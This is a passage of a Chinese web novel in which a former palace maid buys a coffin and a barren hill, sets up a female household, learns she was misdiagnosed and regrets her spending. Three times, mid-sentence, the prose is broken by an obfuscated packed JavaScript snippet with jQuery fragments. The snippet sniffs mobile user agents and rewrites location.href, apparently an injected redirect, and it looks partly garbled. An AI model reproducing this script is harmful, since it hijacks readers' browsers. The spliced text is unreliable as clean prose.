伙计眉飞色舞地为问话的小厮解惑:“自打咱这永安城成为国都以后,当官的,做买卖的,那人是一群群乌泱乌泱地来。您去运河边上瞧一眼,每天都有成百上千条船往咱们这下呢。大家伙行路辛苦,到了地可不得好好松快松快,这时候还有什么能比痛痛快快洗个香汤更舒服的事呢!”
从外地来的旅人应道:“说得是哪!”
听到有人附和,伙计说得更起劲了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771634|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,开始介绍起自家的营生。
“说起来,沐浴其实也是个消耗体力的活儿。但是您来了这儿,就什么都不用操心了。
“如果您是第一回来的生客,可能会把握不好沐浴的时间,以防您在浴池里待得过久头晕眼花,我们会在您去浴池前先上一碗热汤。您把汤喝完,暖了身子,微微出汗后,再躺着小睡一会,等您养足精神之后,就可以下浴池泡澡了。
“我们的浴池也十分有讲究。如果您近日总觉得疲乏、睡不好,我们可以为您准备安神的汤池。如果您初来乍到,水土不服,我们也有温养补气的方子……
“您泡着觉得无聊,或者行路疲惫懒得自己动手,也可以招呼小的为您梳头、刮面、修脚、推拿、按摩……
“若是饿了,我们店里也有各色吃食,价钱不一,您尽可挑喜欢的来。要是店里的席面吃烦了没胃口,也好办,这街上您要是有想吃的,打个招呼,自有我们去为您跑腿,您只需打赏几文辛苦费,不消片刻,就能安安稳稳地在浴池里吃上美味佳肴了!保准热食不冷,凉食不烫。”
黄迎春站在门口听了一耳朵,才明白——原来安朝的香水行是公共澡堂啊。她又听了好一会儿,不禁对店家的生意经心生赞叹。好厉害的香水行,简直把洗澡这件事做成了一条完整的产业链,吃喝玩乐穿衣打扮一条龙,这和现代的营销模式也差不了多少,果然,不管在哪里,都有会做生意的商人,真厉害啊!
“真会享受啊,不愧是永安城!”同黄迎春一起驻足在店门口的旅人凡是手里有些余钱的,都踏进了李木子家香水行的门槛。
精神萎靡的黄迎春也想活泛一下身体,谁知,伙计知晓她的来意后,却把她拦住了:“娘子,不是小的不想招待您,实在是香水行从来没有女子沐浴的先例。”
黄迎春连忙后退两步,懊悔不已。
我怎么忘了,虽然这不是我知道的古代,但它实实在在是封建王朝,是一个等级分明、有男女大妨的封建王朝啊!
黄迎春没想到自己才出宫一夜,就险些把保命的本事给忘了。
“对不住,真是对不住。”
她和伙计互相道歉,然后连忙离开了这条香水行林立的街道。
虽然洗不了澡,不过,只要想花钱,花钱的机会还是很多的。
三天里,黄迎春吃了许多好吃的,见了许多好看的,也玩了许多好玩的,甚至还在晚上的瓦市里给耍杂戏的打赏了不少铜板。
永安城是没有宵禁的,每到夜里,东西南北四个街市都挂满了灯笼,将临时搭建的瓦市照得亮堂堂的,锣响之后,各种各样的演出轮番上场,呼喝声络绎不绝。
演口技的把屏风搬开后,围观的众人看见桌上简陋的几样东西,突然爆发出比刚刚表演者敲击代表结束的惊堂木时更剧烈的喝彩声。
口技表演者笑着作揖,又拿着一个浅口竹蔑箩开始挨个讨赏。黄迎春放了三文钱,人家也不嫌,含笑着躬身和她道谢。“京中有善口技者。”四目相对的一瞬间,这句为了语文考试反复背诵多遍的文言文忽然在黄迎春的脑海里灵光一现。二十一世纪和安朝,截然不同的两辈子在此刻突然有了交接。
黄迎春愣住了。
想活吗?当然想。可若是就这么去了,似乎也没什么不好的。
人流如织,黄迎春安静地站在人声鼎沸中,忽然这么想道。
无论如何,自从她带着现代的记忆在安朝呱呱落地起,她就比常人多了一辈子的经历,两辈子加起来也能说是活了五十几岁,该尝的都尝过了,也算没有白来人间一趟,如此,再不甘心,也没有多少遗憾了。
想明白了之后,黄迎春匆匆找到那位赶场去演下一场的善口技者,把袖子里揣着的铜板都倒给了他。
瓦市里依然热闹不已,一派繁荣,但这繁华的人间景,却与逆着人流独自在灯烛烟火大盛时回到客栈的黄迎春无关。
出宫的第五天,一大早,黄迎春退了客栈,背着包袱,走进一家凶肆。
4. 买山
黄迎春一进铺子,还没看清店内的陈设,一个伙计就迎上来,殷勤地报备姓名。
“娘子有礼。小的李青山,家中排行第三,您管我叫李三就成。不知您是想看些什么?”
凶肆的伙计是黄迎春这几天以来所见的唯一一家不会笑脸迎客的人。
黄迎春看了看盛放在铺子大堂中央的棺材,表示十分理解。
若是客人正因为家中逝去的亲人心情不佳,好不容易打起精神来凶肆采购治丧的物品,结果迎面的伙计一人一张笑脸,估摸生意还没做成,伙计和东家就得被客人打进医馆。
黄迎春边看边说:“家中有人大限将至,想看看丧事一般都是怎么操办的,先预备起来,省得心中不安。”
李三不着痕迹地打量了一下黄迎春的穿着,声音更亲近了一些:“您放心,我们张家凶肆在西市都是有名的,从小殓到下葬,包括下葬后的烧七、守孝等仪式所需要的物什,我们店里都有,保证童叟无欺。”
永安城里分东西二市,其中东市是达官显贵居住的地方,卖的东西也十分昂贵,西市是平民百姓所居,待售的物品也平价一些。
黄迎春没有可以遗留财产的家人,她也不知道自己能有多久好活,所以打算把大部分的钱都花在自己的后事上,省得人死了钱没花完,那简直对不起她这操劳的一生!但是她口气再大,也知道自己的那点体己在东市里根本翻不起多少水花,于是来到了物美价廉的西市。
果然,问了铺子里面陈列的几样明器,价钱都在黄迎春的可接受范围之内。
“您看看,是打算安排土葬、火葬还是水葬?”不同的葬礼规格也不同,李三细致地为黄迎春讲解其中的门道。
安朝水葬的人少,若不是对水有执念,没人会选水葬,毕竟,没有人想落得一个葬于鱼腹死无葬身之地的下场。大众往往选择的是土葬,落地归根才是正本。官方则鼓励火葬,一是自打朝廷迁都到永安,永安城附近的地价就水涨船高,变得十分昂贵,火葬相较于土葬更省地省钱。二来则是前些年一直在打仗,近年来主张休养生息,生存压力减小后,人口激增,寺庙也再度兴盛起来。寺里的住持都主张火葬可助死者早登极乐。但身体发肤受之父母的理念深入人心,虽然官方大力倡导火葬,选择火葬的人还是少数。只有那些买不起棺材的贫民才会选择火葬。
最后,如李三所料,黄迎春也随大流,选了土葬。
既然不愿意破坏肉身,自然要给死后的身体找一副好棺材。李三理所当然地带黄迎春到各种木料之间打转,什么都不懂的黄迎春在昏暗的铺子里听得头昏眼花,索性要求看成品。
铺子里的成品不多,李三大力推崇一副柏木做的棺材。
他先用手背不停地敲打:“柏木质地坚硬,耐腐,防虫蛀,保个几十年不是事儿。”
然后,又请黄迎春站近一点去闻:“而且,柏木自带淡雅的香气。”
最后,李三开始舌灿莲花:“柏树象征长寿和正气,柏树的‘柏’也与百年的‘百’同音,用柏木做棺材,既能寄托生者对死者灵魂安宁的祈祷,也能承载祖宗庇佑后代百年安稳的希望……”
李三洋洋洒洒说了一大堆,黄迎春只关注一件事:“价钱多少?”
二十贯的高价立刻让黄迎春望而却步:“还有没有其他的?”
柏木棺材通常是富户的选择,没有第一时间推销出去,李三也不气馁,好脾气地看着黄迎春去看价钱更低一些的杉木和松木。
只是,看过柏木棺材后,黄迎春对杉木和松木做的棺材总能挑出一点儿不满意来。
最后,她咬咬牙,还是订了柏木棺材。
不就是二十贯吗?钱这个时候不花,还有什么时候可花?买!
平民百姓治理丧事,棺材是最大的花费,其次便是立于坟前的墓碑。墓碑多是石碑,上面会刻记死者的姓名、籍贯、生卒年月,还有立碑人与死者的关系,若有重大成就的,也能让刻碑的添上几句。
黄迎春正和李三讨论墓碑的大小,铺子里又迎来一位客人,李三和黄迎春告罪:“是位熟客,眼看要到春祭时节了,估摸着是来买纸钱的,小的先过去招待一下,您慢慢看,可好?”
黄迎春十分通情达理地放了人,自己在一旁闲逛。然而铺子地方不大,另一位客人的嗓门又像唱戏的一般尖亮,她和李三的对话一句不漏地落进黄迎春的耳朵里。
待客人走了,黄迎春好奇地问李三:“我头一回治丧,也不懂这里面的门道。劳烦问一句,她刚才买的那些,仿佛是给小儿用的,可我怎么听着,她说的又是儿子和儿媳?”
“孩子小,不到成家的时候,买些玩的,做个伴罢了。”李三以悲悯的口吻说,“她家小子那年冬天非要去河上玩,说了冰面不结实,不信,自己偷偷跑出去玩,结果掉进冰窟窿里没救回来。一家子哭得死去活来。第二年,邻家一个小娘子伤了风寒一直没治好,一日去了,偏偏用医已经花费了不少,没钱买棺材。两家人一合计,给配了个冥婚,这才渐渐走出来了,也就每每买祭品上坟的时候伤怀些。”
冥婚!
黄迎春如被当头一棒。
“娘子,那我们就依前头说的,订这个尺寸的墓碑。您把姓名、家住哪里留一下,咱们再约个时间,方便我们做好之后给您送过去。”李三走到柜台,拿起毛笔蘸墨,又在纸上写了两列字,然后抬头望着黄迎春,等着她开口。
黄迎春望着那张纸,纸上的空余部分好像一张血盆大口,只要沾上她一星半点的去处,就随时能把她吞了去。
万一黄家人找到坟头去了怎么办?
万一他们想再卖我一次怎么办?
不——不行!
黄迎春面目惊悚,唇色骤然变得苍白,她腿脚一软,差点直接一头栽倒在店里。
李三连忙去搀扶,又从后堂唤来掌柜的主持大局,然后到街上买了一盏有些甜味的熟水给黄迎春灌了下去。
“娘子,可是身上不适?不如移步去街头的医馆看看吧?”李三生怕黄迎春倒在店里讹上他。
掌柜的活的年头久些,经的事情也更多些,他看了看黄迎春的发型和服饰,又朝李三问了几句前情,心里立刻有了谱。
于是,待黄迎春缓过神来,她立刻发现她所担忧的事情有了眉目:“立女户?”
“正是。”掌柜的摸着自己的山羊胡,神色安然,“前些年战争频发,死了不少人,流离失所的百姓多了,也不是人人都能回原户籍地安家,都是走到哪儿看哪儿合算就在哪里停下来。官家前几年就有诏令,允许各地依法立户。”
掌柜的指点黄迎春:“你不要买墓地,直接买座山头,把地契拿住喽,再使几个钱上衙门把籍贯迁到山里去落个女户,保你身后安稳。”
黄迎春对立户的事情一窍不通,但听掌柜的的意思,立了女户之后就等于和从前的那个家一刀两断了,她是自己家唯一的户主,再也没有人可以拿着血缘亲情来道德绑架她,黄家人也没有权利对她的生活指手画脚。毕竟,世道就是这样,重亲情,但更重律法。
黄迎春在脑子里琢磨立户这件事的可行性的时候,突然眼角余光一瞥,看见李三一脸充满难言之隐的模样。
黄迎春问李三:“可是有哪里不好?”
伙计是不能驳东家的脸面的,但立女户毕竟事关重大,李三还是挑拣着提醒了黄迎春几句。黄迎春一听,反而坚定了分家立户的想法。
她都是要死的人了,赋税和徭役同她又有什么干系?兴许还没等衙门把任务派发下来,她就已经躺在棺材里入土了呢。
黄迎春笑着付了钱,和李三约好三日后再来登记送货地点,然后转头进了一家牙行。
按凶肆掌柜的的指点,一进门,她就直奔一个叫宋大的庄户牙人,点名要他招待。
“娘子是想置办些什么呢?”
“我想买地。”
不止农田,池塘、柴荡、墓地、山洞等都可以买卖,都称买地。宋大又问黄迎春买地的用途。
“我想立女户,听说要有恒产才有资格上衙门落契,所以想来买片山林。”黄迎春实话实说。紧接着,她又看了看左右,小声说道,“是张家凶肆的掌柜的介绍我来找你的,你看你现在方不方便?”
宋大一听,就明白了,但牙行里还有其他人,话不好直说,于是宋大就迂回着给黄迎春讲了个故事。
“话说某处有一块山林,面积多少不详,听说不太大,总而言之若是按墓地价格购买,不少于两百贯。但这片山林地方偏远,未曾被划作墓地。买主自己找风水大师看了,说是一块风水宝地,于是悄悄地以烧木炭为借口把山林买了。娘子您猜猜,拢共花了多少?”
黄迎春尽量往少了猜:“一百贯?”
宋大伸出两个手指,比了一个二。
黄迎春大吃一惊:“二十贯!”
宋大点点头:“那片山林是片荒的,草木全是天生地养的瞎长,没一棵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771635|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
值钱的木料。若是把树都伐了,按镇上收柴的价钱算,不会超过两贯。买主以二十贯的价格成交,主人家还乐呵呵的呢。”
黄迎春一听,连连点头:“我就是这个意思,不知道能不能行个方便?”
上有政策,下有对策,买片山林用作墓地而已,这种事情自然是可以运作的。只是……
宋大语气渐弱:“娘子,还是得和您说一声,刚才和您说的那种好事,那都是可遇不可求的。您也知道,咱永安城是国都,这边的地价都贵,就算是近郊,也都挤满了人。一时半会儿的,还真没有那么合适的。”
宋大说了一堆,黄迎春终于明白了。
合不合适,其实只是一个字的事——钱!
上辈子住不起故宫旁边的酒店,这辈子买不起天子脚下的墓地,两辈子,实打实的贫民。
我还是放弃吧。黄迎春心想。安朝的女子连香水行都进不了,想有个自己的家,想来只会难比登天。
黄迎春兴冲冲地进门,又被浇成落汤鸡,正要败兴离开时,宋大又叫住她:“其实,还有一个地方。地方大,树多,水长,景好,要价也不高。”
“价钱多少?”
“四十贯。您诚心想要的话,价钱咱们还可以谈。”
黄迎春掂量着自己花剩的身家,觉得这个价格还可以接受。
但是,等她听了这座山占地的亩数之后,她就没法淡定了。
“多少?三百亩!”
时下低洼肥沃的良田,一亩就要二三贯。山地不比田地,能种的粮食少,灌溉也不方便,价钱自然也不高。但是再怎么低,毕竟也隶属于永安城的远郊,黄迎春万万没想到这个地界的山林能这么便宜。
黄迎春不相信世界上有这样的好事,就算有,也不可能会掉在自己的头上。
果然,宋大红着脸,憋出一句:“那山是片荒的,十来年没人往那里去过。”
黄迎春不信:“单单因为这个?”
她直击重点:“山里打一天柴火扛来城里卖,一天也能赚一百文,都能够一家三口两天的嚼用了。我昨儿个还听卖柴的樵夫说冬天柴用得快,周围的柴都不好打了,得进山里去。这临安乡是处什么地方,难道人人都是富户?要不怎么放着满山的柴不去打,任由它岁岁年年地荒着呢?”
“我和您说实话吧。”宋大一咬牙,将事实和盘托出,“这山,风水不好,十年前遭了地动,地龙翻身,住在附近的人家都遭了殃,所以大家伙才不乐意往那里去。渐渐的,山也就荒了,价钱也越落越低。”
宋大垂头丧气:“不过这十年来一点事儿也没有。您要是不忌讳,愿意买,这价钱,还能往下谈。”
这不是他第一回和客人这样说了,但每回,都会遭到客人的冷眼。遇上脾气不好的,破口大骂都是轻的,大打出手也是有的。
宋大也能理解,谁家下葬不找一处风水宝地,护着死者早登极乐,也庇佑着后代福寿双全。换了他,他也不会贪图这点便宜,把坟墓埋在这种地方。人人都知道好风水才卖的出好价钱,人人都想买风水宝地,人人都想卖风水宝地。但是地总共就那么多,偏偏他是牙行里唯一一个乡下来的,分到他手上的地永远是坏的比好的多。虽然知道机会渺茫,但是也得推荐。否则到了月底,根本领不到几个钱。
面色愁苦的宋大算算日子,又快到叹了口气。
这时,他听到黄迎春问:“买了这座山,衙门给落契立户吗?”
牙行经营各种事务,三教九流都有打交道,近年久的牙人,还有一个俗称——百事通。
宋大能从乡下钻营到城里,自然不是那等没有本事的软脚虾,他对衙门里面文书的门道都门清。发现这单有成事的苗头,立刻忙不迭地点头:“给!能立的。”
能立就行。
黄迎春是个没后代的将死之人,不管是地震还是风水,对她来说都没有什么忌讳,她很快做下买山的决定,但面上不显。
“这山煞气重啊,‘四’又通‘死’,不好听。”黄迎春摇摇头,不满意。
宋大连忙给了一个好听的价:“三十六贯。”
黄迎春神情迟疑:“那可是地龙翻身啊,谁知道什么时候会再来一场。”
宋大又退一步:“三十五贯!”
“地是大,可也太偏了点。从这过去又要坐船又是搭车的,远啊!”
谈啊谈,最后,黄迎春以三十贯的价格全款买下一座坐地三百亩的荒山。
5. 误诊
若是寻常买卖,黄迎春和牙行订立白契即可。但买山是大事,属于土地产权变更,这类交易都需要向官府申报和备案,在白契上加盖官印,形成红契。
白契虽然大家也认,但若是有了纠纷,闹到公堂上,官府其实也可以不承认。红契就不一样了,又有官府统一印制的契尾,又用红彤彤的官印,再巧舌如簧的讼师,也质疑不了红契的效力。
但是,红契也不是那么好拿的。要想取得红契,必须得在衙门里有相熟的文书,再送上一笔“跑腿费”,这样才能早点排上队。这点倒不必担心,凡是能在永安城里开下去的牙行,各个都有自己的关系网。宋大反复强调,今天就能让黄迎春把红契拿到手。
宋大担心的是,取得红契之前还要向官府缴纳一笔契税,通常是交易价的百分之三,也就是说,黄迎春虽然已经花了三十贯,但在法律意义上,还不算是那座荒山真正的主人,必须得再花上九百文交了契税才可以。
坐在驴车上赶去衙门的路上,宋大小心翼翼地和黄迎春说起这件事,言语之间都是红契的重要性。
“没问题,应该的。”大头都出了,黄迎春也不在意这点小钱。她拿出一贯钱交给宋大,笑吟吟道,“大冷天的,辛苦您和我跑这一趟。多出来的这点钱,给您买点茶水暖暖身。不知道您有没有相熟的管户籍的朋友,办完事后,我想请您二位吃点心。”
一事不劳二主,既然有现成的问路石,黄迎春想在今天把立女户的事情也一块儿办了。
俗话说,有钱能使鬼推磨。宋大收了小费,果然将荒山过户和立女户这两件事都办得漂漂亮亮的。半个时辰后,黄迎春从衙门的侧门走出来,就从一个命如浮萍的大龄宫女变成了一位名下有一座三百亩山林的女户主。
宋大的好话就跟不要钱一样,不停地从他的嘴里蹦出来。
黄迎春将户帖和红契看了又看,心里也十分开心。
高兴的心情还没有延续多久,黄迎春又想起了自己的身体状况,顿时,整个人就像落了雨的花儿,变得无精打采。
好不容易抛出去一个烫手山芋,宋大十分高兴,也不着急赶回牙行,打算自己走路回去,还能省下雇驴车的钱。离开时他特意问了黄迎春一嘴,黄迎春还记着刚才宋大付车钱时肉痛的样子,摇摇头,找了个借口推脱了。
宋大咧着笑脸和黄迎春道别:“娘子以后若还想买地或是置房,尽管来找我!”
黄迎春点点头,把几张薄薄的纸细致地折叠整齐,妥帖地放入怀中,紧接着也离开了衙门。
现在干什么呢?
黄迎春背着包袱漫无目的地在大街上闲逛,走得累了,便找了一处茶水摊,要了盏杏仁茶,顺便停下来歇歇脚。
热热的一盏杏仁茶端上来,白如牛乳,香气浓郁。一口下去,浓稠润滑的口感和香甜突出的杏仁香气顿时冲散了满腹的哀愁,黄迎春脸上的表情都好看了一些。
主人见状,笑眯眯地给黄迎春又续了一杯:“好喝吧?专门收的甜杏仁,加了糯米和大米一起捶打做浆,再添一点去年秋天的桂花,两盏下去肚子就饱了,还能美容养颜呢!”
黄迎春吃到好吃的,也乐得捧场:“这么好呀!”
主人愈发骄傲,指着斜对面的医馆,说:“这可不是我胡诌,杏林医馆里的陈大夫告诉我的,甜杏仁性平味甘,多吃可以润肺止咳……”
黄迎春一边听主人絮叨,一边沿着她手指的方向望过去,看着医馆门口来来往往的人群,若有所思。
她静静地把杏仁茶喝完,给主人结了茶钱,然后,背上包袱,走进医馆。
“大夫,您看看我死期何时?”
黄迎春一直老老实实地排队等候,结果在排到自己时,一张嘴就惊住了给她看病的大夫。
“你先把手放上来,我给你切切脉。”
一番望闻问切后,大夫放开黄迎春的手腕,温声说道:“你身上毛病虽多,却还没造成大患,莫要再说什么时日无多的话了,你以后的日子还长着呢。”
安朝的建立仰赖于开国皇帝铁马兵戈,结果,江山是打下来了,皇帝和开国功臣们的身体也被连年的战争毁得差不多了,总不能有命挨打,没命享福吧?渐渐的,上流社会里开始流行各种养生之道。俗话说,上有所效,下必仿焉。如今,养生的意识已经深入人心。哪怕是再贫苦的百姓,也知晓几分药性,懂得把有用的草药摘回家,煮了药汤给自己和家人吃,或是保健,或者治病。
大夫猜测黄迎春必定也是这种情况。只是,执医一道,道阻且艰。能正经挂牌行医的,哪个不是刻苦学了多年的,怎么可能是嘴里嚼弄几句病理和养生之道的门外汉可以比得上的!虽然看重身体是件好事,但有不少人家出不起医药费,或是舍不得钱财来医馆看病,便仗着自己认识几株草药,天天在家里吃自己熬的药汤,吃了许久病不见好,反而把小病拖成大病。这样的病患,大夫见得多了,但更多的,是连医馆都不敢踏进来的人——自己生病自己看,自己吃药自己治,最后的结局无外乎是自生自灭。
大夫一边摇头一边劝诫怀疑自己生了重病的黄迎春:“莫要相信无稽之谈。你的病没有那么严重,不要自己吓自己。通常许多不好,都是被吓出来的。不要听别个瞎说,你的病能治,还不至于死。”
“什么?误诊?我的病能治?”
旁边的人都很讶异,明明是一件好事,为什么这位看上去还算年轻的女娘一副听闻惊天噩耗的模样。
黄迎春难以置信:“可是……可是我几日前才看过诊,那位医师明明说我重病缠身,没有多少时日可活了啊。”
说到最后,黄迎春的语调甚至拖着颤音。
大夫一听被气得差点拍桌子:“这是哪个人说的?简直
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771636|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是庸医!自己不会治就算了,还瞎讲!幸亏你没有放弃,今天来到老夫这里。老夫和你直说,你要是愿意治,好好治疗的话,起码可以再活二十年!平时多注意照顾身体和养生,活得更久一些也不是难事……”
二十年?几天之前,皇宫中医药局的医师信誓旦旦地说她活不过二十个月,黄迎春看他那脸色,还怀疑过自己是不是活不过二十天呢,现在怎么又变成二十年了?
医药局里的医师是能给宫中的贵人们看病问诊的,大病还是小病,能治或是不能治,差别会这么大吗?
黄迎春不相信会是误诊。
一个念头忽然在她的脑海里一闪而过。黄迎春连忙紧紧抓住,如同即将在沙漠中渴死的旅人奔向绿洲般急切地问大夫:“如果我的病能治,那治好需要花多少?”
大夫笔走龙蛇,立刻写了好几张药方,低头看了两眼,略一沉吟,摸着山羊胡说道:“十贯。”
十贯?
才十贯?
果然是被做局了!
黄迎春还没来得及提上一口气,又听大夫说:“这是吃药的价钱。”
黄迎春更急了,大冷的天,她的额头上甚至开始冒出汗水,她急急地追问道:“那全部治好呢?您不用和我说怎么治,您就说把我全部治好,像个正常人一样能吃能睡、身上没有这里那儿地痛,总共要花多少?”
大夫伸出两根手指。
黄迎春说不出自己现在是什么心情,她的心里七上八下的:“二百贯?”
大夫瞪她一眼,又用手抚了抚胸口:“二十!”
二百贯?她怎么喊得出口的?这里是西市,他要是敢开二百贯的药,这医馆也不用开了,三天之内,必定关门大吉。
二十贯也不是一笔小数目。黄迎春没说要治,只付清了问诊费。
从医馆里走出来,黄迎春整个人都空落落的。
此时的空,和之前完全不同。当她以为自己命不久矣时,空落落的是她的心。她好不容易调节好自己的心情,接受了命运的安排,准备慷慨赴死,并且不断买买买就快要把钱花光的时候,老天爷又派人来告诉她不用死了。
黄迎春的整个大脑都空了。
这算什么?
人死了,钱没花完。
人没死,钱花完了。
这两者,不知哪一个才是人间惨事。
从前,黄迎春担心是前者,所以她拼命花,生怕多留一文钱在世上。
现在,黄迎春以为是后者。
五天而已,命运竟然给她开了这么多的玩笑。
黄迎春情不自禁地把手伸进怀中,摸了摸身上仅有的一点银钱,再想想刚刚大夫说好好治疗她起码可以再活二十年,然后,她发现自己的人生突然一片迷茫。
人没能立刻死,钱却要马上花完了。
她以后可怎么活啊?!
6. 退货
雪花飘飘扬扬,从屋顶落下。
新找的这家客栈客房的屋顶不大结实,落了几片瓦,掌柜的说今日天色已晚,明天一早就让人来修,再说他已经用稻草匆匆盖住了,不妨碍什么。
黄迎春刚从一家更下等便宜的客栈里跑出来,浑身的鸡毛味,掌柜的又主动省了几个钱,见状她也不好说什么。
只是,住进来后,黄迎春一宿没睡着。
掌柜的在房间里放了一个木盆,一整个晚上,雪化成水浸湿稻草,又从草尖往下滴的声音就没停过,听得黄迎春心慌不已。
她躺在床上,盖着不大暖和的芦花被,想想前几日花钱如流水的自己,深刻怀疑自己是被夺舍了,要不然也不能干出那么多脑子进水的事情来。
看杂耍就算了,还打赏。打赏就罢了,还赏了一次又一次,甚至追着人家给钱。
她是脑子有坑吗?
有多少身家可败啊!
进宫打工十五年,拢共她也就带出了一百贯的俸禄。又不是一千贯一万贯,她昨天到底怎么想的,还敢买二十贯的棺材和三十贯的荒山!
一滴,两滴,三滴……黄迎春听着雨水滴落的声音,仿佛看见了她这几天花钱的场景。那些时候,她的钱,就跟这些从屋顶上落下来的水一样,就是这么一文、两文,一点又一点地离开她的。
同样是积少成多,偏偏木盆里的水越来越多,而她身上的钱财却越来越少。
第一次发俸时她一个月只能拿到五百文,一点点地熬,终于熬到了不会再被上官克扣月俸还高达两贯的时候。
但是,这也不意味着就能把自己赚的钱全部收入囊中。
每月初一采买府虽然都会发份例,但都是一些胭脂水粉、澡豆牙粉之类的日用必需品。
平时若是缺个针头线脑,或是身上有了病痛,都要自己花钱去买去治。
差事上用的东西都是一早派发下来的,若是出了毛病或是损坏,也要自己额外花钱去添置。
而且,在皇宫中,也少不了人情往来。这个过生辰了,那个谋得好差事啦,都要请客送礼。
黄迎春一直铭记着“枪打出头鸟”的真正要义——不做格格不入的人。有些钱哪怕自己不想出,但是别人出了,而且自己还要在这个环境里继续生存,那这钱不出也得出。
花在别处的钱多了,能留在自己身上的钱就少了。
那些绞尽脑汁、拼命开源节流的日子还历历在目,黄迎春不知道自己是怎么在短短几天之内就把身家霍霍到三分之一的程度。
老话说的果然不假,最败家的方式就是穷人乍富。
黄迎春一会儿坐起来数钱,一会儿在被窝里翻身,心绪无论如何都无法平静下来。
她真是恨不得穿越回五天前拿着自己的脑袋去撞墙,兴许能提前把自己脑子里进的水给摇晃出来。
病,既然能治,还是要治的。
这是黄迎春思考了一个晚上的结果。
事关身家性命,这是顶顶要紧的事情。
二十贯虽然多,但黄迎春还能出得起,而且二十贯就能捡回一条命,其实还是一笔蛮划算的生意。
虽然这么想着,但黄迎春还是打算出门去找间更便宜的客栈。
“一天三十文的房钱还贵啊?您去外面找找,哪里有比我家更划算实惠的?”黄迎春退房时,掌柜的放了话。
有啊,怎么没有,我昨晚就找到一家。
黄迎春在心里默默反驳,却不敢开口。
不到万不得已,她是不打算去住那家客栈的,连床芦花被都没有,只能靠鸡毛取暖。一进门,就是一股能把人熏晕过去的臭味。无数片新旧不一的鸡毛絮在一起,变成了一床鸡毛被,还是悬空的,要睡时,人在床板上直挺挺地躺着,再一拉绳,鸡毛被就落到了身上。
虽然只是进店参观了那么两眼,但那股鸡毛味仿佛还是在鼻间挥之不去。黄迎春嫌恶地皱了皱鼻子,加快脚步,走出客栈。
天色还早,凶肆的门板都还没有卸下来。黄迎春在黑漆漆的门口待了许久,身上飘满了雪粒,最后实在受不了,跺了跺脚,又看了一眼凶肆的招牌,转身走向宋大所在的牙行。
牙行倒是开门了,但宋大万万没想到,昨天刚扔出去的烫手山芋,过了一夜竟然又回来了。
他一脸为难:“白契想毁约都难,娘子,您这红契都立了,更不能反悔了。”
黄迎春何尝不明白这个道理。只是,永安城里居大不易,她住在客栈里,什么都不干,每天光吃喝就是几十上百文的铜板流水般的花出去。这日子她每一分每一秒都过得十分心焦,偏偏她又没有什么谋生的手艺,一时半会的也找不到活干,所以哪怕明知机会渺茫,但还是想来牙行找宋大试一试。
“不能退钱的话,能不能帮我转卖出去?”黄迎春不欲让宋大为难,主动开口说,“我可以降价。”
宋大问了黄迎春的底价,得知她着急用钱,神情更为难了。
这座荒山,不知在他手上放了多久,好不容易才在昨天逮了个冤大头卖出去,果不其然,就算价钱一降再降,冤大头今天也发现自己上当过来毁约了。这世上有一个叫黄迎春的就够了,他上哪去找第二个冤大头呢!
“这山煞气重啊,没有几个人看得上。”
“那可是地龙翻身啊,谁知道什么时候会再来一场,买的人肯定会有顾虑。”
“三百亩地是大,可也太偏了点。从这过去又要坐船又是搭车的,路上的船费和车钱都不知道要搭进去多少,带人过去相看一次都难,远啊!”
……
昨天砍价时说的话就像回旋镖一样,一次又一次地飞回来,重重地扎在了黄迎春的心头。
“算了。”黄迎春无奈地打消转卖荒山的主意,开始打听如今买卖租赁房屋的行情,结果被唬了一大跳——她手上剩的这点钱就算全砸进去,在租赁市场里也是一点儿水花都不带有的。
黄迎春看了眼她脚下踩着的地,头一次这么深刻地意识到自己如今正身处在天子脚下。
不能坐吃山空!
黄迎春转头就在牙行里寻了一个专门给主家介绍做工的牙人。
请牙人帮忙介绍工作也有一套必经的流程。
黄迎春必须先把户帖给牙人看一眼,证明自己的身份。然后,再告知牙人自己所会的本领、想找的活计以及对吃住薪资等方面的要求。和牙人协商一致后,最后,交给牙人一笔辛苦费,然后回家等待通知,若寻得工作,必须再付给牙人一笔介绍费,感谢她的辛苦奔波。
但是,黄迎春没想到,自己竟然连辛苦费都付不出去。
“你说你只会侍候花草,平头老百姓的,家里哪会有花园,只能往达官贵人的住处里找。偏偏你又不想和人家签长契,这贵人们哪里肯呢。在家里侍候的人,哪怕找的是花房里的一个小杂役,主人家都想要知根知底的长工。短工。没几家愿意的。你说万一你做了几个月就走,做不开心了就走,到时候怎么办?人家再寻人调教也是要花功夫的呀!”
牙人不愿意接黄迎春的单子,还反过来劝她:“这年月能找份工不容易,做得长的怕什么?只要工钱合适,大家都恨不得能在同一家做一辈子呢!”
